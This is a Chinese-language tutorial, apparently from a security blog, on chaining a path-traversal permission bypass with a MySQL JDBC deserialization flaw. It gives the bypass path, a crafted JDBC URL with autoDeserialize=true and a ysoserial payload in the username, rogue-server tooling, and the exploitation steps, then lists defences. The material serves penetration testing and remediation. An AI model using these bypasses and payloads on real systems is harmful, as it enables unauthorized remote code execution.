从权限绕过到mysql jdbc反序列化
字数 1253 2025-08-10 08:28:45
MySQL JDBC反序列化漏洞利用教学文档
漏洞背景
MySQL JDBC反序列化漏洞是一种通过MySQL JDBC连接参数配置不当导致的远程代码执行漏洞。攻击者可以利用恶意MySQL服务器或中间人攻击方式,在特定配置下触发JDBC客户端的反序列化操作,从而执行任意代码。
漏洞利用前提条件
- 目标系统使用MySQL JDBC连接
- 目标系统允许用户控制JDBC连接参数(如连接URL)
- JDBC连接配置了
autoDeserialize=true参数(或某些旧版本JDBC驱动默认启用此功能)
漏洞发现过程
1. 权限绕过
在案例中发现通过URL路径遍历可以绕过权限控制:
/login/..;/
或直接访问:
/index.jsp
2. 发现测试连接功能
找到系统参数配置功能,其中包含"测试连接"功能,可以控制MySQL连接地址。
3. 抓取测试连接请求
测试连接功能的请求包结构需要分析,确认可以控制以下参数:
- MySQL服务器地址
- 连接参数
漏洞利用工具准备
1. 恶意MySQL服务器
使用工具:MySQL_Fake_Server
GitHub项目:https://github.com/fnmsd/MySQL_Fake_Server
2. 反序列化利用工具
使用ysoserial生成payload:
GitHub项目:https://github.com/zema1/ysoserial
漏洞利用步骤
1. 构造恶意JDBC连接字符串
关键参数配置:
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&useUnicode=true&characterEncoding=utf-8&username=yso_urldns_http://www.baidu.com/&password=123456
关键参数说明:
autoDeserialize=true:启用自动反序列化useUnicode=true:使用Unicode编码characterEncoding=utf-8:设置字符编码username和password字段可被用于传递payload
2. 启动恶意MySQL服务器
配置MySQL_Fake_Server返回包含恶意序列化数据的响应。
3. 发送测试连接请求
将构造好的JDBC连接字符串通过测试连接功能发送。
4. 验证RCE
观察恶意MySQL服务器日志,确认是否收到连接并执行了反序列化操作。
防御措施
- 升级MySQL JDBC驱动到最新版本
- 禁止用户控制JDBC连接参数
- 禁用
autoDeserialize参数或设置为false - 实施网络隔离,限制应用服务器出站连接
- 使用安全的编码实践,避免反序列化不可信数据
补充说明
- 不同版本的MySQL JDBC驱动对反序列化的处理方式不同
- 可利用的gadget链取决于目标系统的类路径
- 在实际渗透测试中,需要根据目标环境调整payload
参考工具
- MySQL_Fake_Server:https://github.com/fnmsd/MySQL_Fake_Server
- ysoserial:https://github.com/zema1/ysoserial
通过以上步骤,安全研究人员可以验证MySQL JDBC反序列化漏洞的存在性,并帮助开发人员修复此类安全问题。